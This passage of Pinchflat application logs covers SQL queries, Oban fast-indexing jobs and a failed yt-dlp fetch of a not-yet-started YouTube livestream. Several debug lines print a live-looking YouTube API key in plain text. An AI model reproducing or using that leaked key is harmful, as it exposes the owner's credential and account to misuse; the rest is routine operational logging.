JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [20] 17:16:43.278 [debug] QUERY OK source="tasks" db=0.1ms idle=114.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800166, 20, ~U[2026-02-10 23:16:43Z], ~U[2026-02-10 23:16:43Z]] 17:16:43.279 [info] {"args":{"id":20},"id":3800128,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":115288,"event":"job:stop","queue_time":487047,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:16:43.819 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=b4CKcXNSNRc --simulate --skip-download --output /downloads/Yo Samdy Sam/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/10/50/105087a23139033acc287ae862b996b375e97ea794c8567d2bb2178b985e0cd7.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] b4CKcXNSNRc: This live event will begin in a few moments. 17:16:43.819 [error] Error creating media item 'b4CKcXNSNRc' from URL: {:error, "ERROR: [youtube] b4CKcXNSNRc: This live event will begin in a few moments.\n", 1} 17:16:43.820 [debug] QUERY OK source="media_items" db=0.5ms idle=541.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [19] 17:16:43.821 [debug] QUERY OK source="tasks" db=0.1ms idle=542.1ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800167, 19, ~U[2026-02-10 23:16:43Z], ~U[2026-02-10 23:16:43Z]] 17:16:43.821 [info] {"args":{"id":19},"id":3800125,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":2660844,"event":"job:stop","queue_time":813325,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:16:59.190 [info] {"source":"oban","duration":9982,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:17:00.067 [info] {"source":"oban","duration":194,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:17:07.190 [info] {"args":{"id":15},"id":3800129,"meta":{},"system_time":1770765427190366012,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:17:07.190 [info] {"args":{"id":42},"id":3800130,"meta":{},"system_time":1770765427190415373,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:17:07.190 [debug] QUERY OK source="sources" db=0.1ms idle=312.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [15] 17:17:07.190 [debug] QUERY OK source="sources" db=0.1ms idle=312.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [42] 17:17:07.191 [debug] QUERY OK source="settings" db=0.1ms idle=6.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:17:07.191 [debug] QUERY OK source="settings" db=0.2ms idle=312.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:17:07.191 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:17:07.191 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:17:07.191 [debug] QUERY OK source="settings" db=0.1ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:17:07.191 [debug] Fetching recent media IDs from YouTube API for playlist: UUWKveACEz1euuOk5eyzzvTg 17:17:07.191 [debug] QUERY OK source="settings" db=0.1ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:17:07.191 [debug] Fetching recent media IDs from YouTube API for playlist: UULFXk9J3O-hhOk0msOjKYdQ 17:17:07.191 [debug] QUERY OK source="settings" db=0.2ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:17:07.191 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:17:07.191 [debug] QUERY OK source="settings" db=0.2ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:17:07.191 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:17:07.254 [debug] QUERY OK source="media_items" db=0.3ms idle=63.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?)) [42, "yHFjcHZ1cN0", "NaDPMZKXcBU", "ArxhS4SQaP0", "KTlRBI2QCzM", "pcPzmDePH3E", "umQ39BhcyMM", "UCI7N70tNRE"] 17:17:07.255 [debug] QUERY OK source="media_items" db=0.2ms idle=63.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [42] 17:17:07.256 [debug] QUERY OK source="tasks" db=0.2ms idle=64.1ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800168, 42, ~U[2026-02-10 23:17:07Z], ~U[2026-02-10 23:17:07Z]] 17:17:07.256 [info] {"args":{"id":42},"id":3800130,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":65796,"event":"job:stop","queue_time":473327,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:17:07.262 [info] {"args":{"id":13},"id":3800131,"meta":{},"system_time":1770765427262744507,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:17:07.263 [debug] QUERY OK source="sources" db=0.1ms idle=7.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [13] 17:17:07.263 [debug] QUERY OK source="settings" db=0.1ms idle=7.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:17:07.263 [debug] QUERY OK source="media_profiles" db=0.1ms idle=7.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:17:07.263 [debug] QUERY OK source="settings" db=0.0ms idle=7.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:17:07.263 [debug] Fetching recent media IDs from YouTube API for playlist: UUlRwC5Vc8HrB6vGx6Ti-lhA 17:17:07.263 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:17:07.263 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:17:07.354 [debug] QUERY OK source="media_items" db=0.7ms idle=90.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [15, "QyJRbfVpasM", "cEvbtJKkiKA", "oIpuh9B54_Y", "qBngEbWvnLU", "ybedvH-Z1a0", "gyapvbUPeGY", "43yyNypLixI", "5TNRLSuu7Ck", "ogTdveOYLQw", "Lsn68mBl8t8", "xyjk-UAYXUw", "sjU6mk8YUFw", "l5-eiLTPkfo", "RrCOMIgn7lg", "5YyOA4Fb7DQ", "P0yz6bFnRPU", "UPvzdNYpGkk", "pXdGk0dzIso", "xNjq6F8JjZ4", "Z-PAcG0uecs", "yg7Oxq0V0bw", "044H43vCM5U", "WK4B1vsFvlA", "XAhoRD94yo8", "Vq8XXz_66lQ", "-OUVRcJMcfQ", "SkK7ve8Isq8", "P9yK5E1iw4o", "NHwWYgRkMOM", "neUAF2AjYZc", "zsYvx6oBdkI", "_wxU3z9VxOY", "Rl-Okv32Cg0", "xezfkm4w5Oo", "4mmV3TpYCwc", "6UbSy5JRc10", "z5VzU53LQ3Y", "QtN38fxQUZI", "aOB2mSALBiA", "Jr7pjruyR9s", "SQ_BWki10Y8", "1cwS7nzthpw", "ByK18GA2DZk", "YJgcAP3WHzM", "B0PiIsgmsTo", "O5myIiXLqug", "R6fZRX7mnEg", "Su5etRwlI-s", "ckwtQLlXZYQ", ...] 17:17:07.355 [debug] QUERY OK source="media_items" db=0.4ms idle=91.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [15] 17:17:07.356 [debug] QUERY OK source="tasks" db=0.1ms idle=92.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800169, 15, ~U[2026-02-10 23:17:07Z], ~U[2026-02-10 23:17:07Z]] 17:17:07.356 [info] {"args":{"id":15},"id":3800129,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":166164,"event":"job:stop","queue_time":534584,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:17:07.362 [info] {"args":{"id":22},"id":3800132,"meta":{},"system_time":1770765427362712188,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:17:07.363 [debug] QUERY OK source="sources" db=0.2ms idle=6.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [22] 17:17:07.363 [debug] QUERY OK source="settings" db=0.1ms idle=6.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:17:07.363 [debug] QUERY OK source="media_profiles" db=0.0ms idle=6.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:17:07.363 [debug] QUERY OK source="settings" db=0.0ms idle=6.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:17:07.363 [debug] Fetching recent media IDs from YouTube API for playlist: UUBZiUUYeLfS5rIj4TQvgSvA 17:17:07.363 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:17:07.363 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:17:07.430 [debug] QUERY OK source="media_items" db=0.6ms idle=66.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [13, "aJDWyp19j9w", "WnBb3DLlVPw", "RYKpKMFIdGQ", "Hzz_d9Y44ZE", "fDvxq7IF1W4", "0xLzDF7PZW8", "EYoOiVsHJTw", "IrZCYj2ZHj8", "3GUQdrpduo0", "Y2qSaD1v4cQ", "P3Y4d2aHnNE", "XgzL05Gojfw", "0Kp3bjm55xw", "upLSYyprib8", "ZA_EifQu6is", "_hAuKtoRxJI", "HQtwULiTEmo", "pmKL3pgPQhY", "rW1cg3hDdc4", "wjny4u5THpU", "wjDaUFdKjR4", "itAMIIBnZ-8", "yO5fJ8z66Z8", "C4cNnVK412U", "eUywI8YGy0Y", "7hdJQkn8rtA", "ed8QTKtLxKs", "ZaeBfVc1NZQ", "hQFkbg7he-4", "ChtJ8gUuQWY", "1WuJtcgExa8", "RpoXFk-ixZc", "NCkyQuKjpVc", "EZbsIT2Uh5k", "NeopkvAP-ag", "m5s6xerRqVY", "UOIFxgid0uk", "LUTx3uwuQFE", "Xx_ylYKD6Bo", "VDV1R1j1n5I", "5E4nMfxjA3s", "gpDqUyXKqTA", "BRdq2ExLJns", "HfFAiCMLJ14", "TC9-t47tKts", "ivSOrKAsPss", "tBD1NyabTt4", "33yvx6Uui-c", "FuSsFdzF8tE", ...] 17:17:07.431 [debug] QUERY OK source="media_items" db=0.2ms idle=67.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [13] 17:17:07.432 [debug] QUERY OK source="tasks" db=0.1ms idle=68.1ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800170, 13, ~U[2026-02-10 23:17:07Z], ~U[2026-02-10 23:17:07Z]] 17:17:07.432 [info] {"args":{"id":13},"id":3800131,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":169470,"event":"job:stop","queue_time":463731,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:17:07.525 [debug] QUERY OK source="media_items" db=0.6ms idle=92.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", 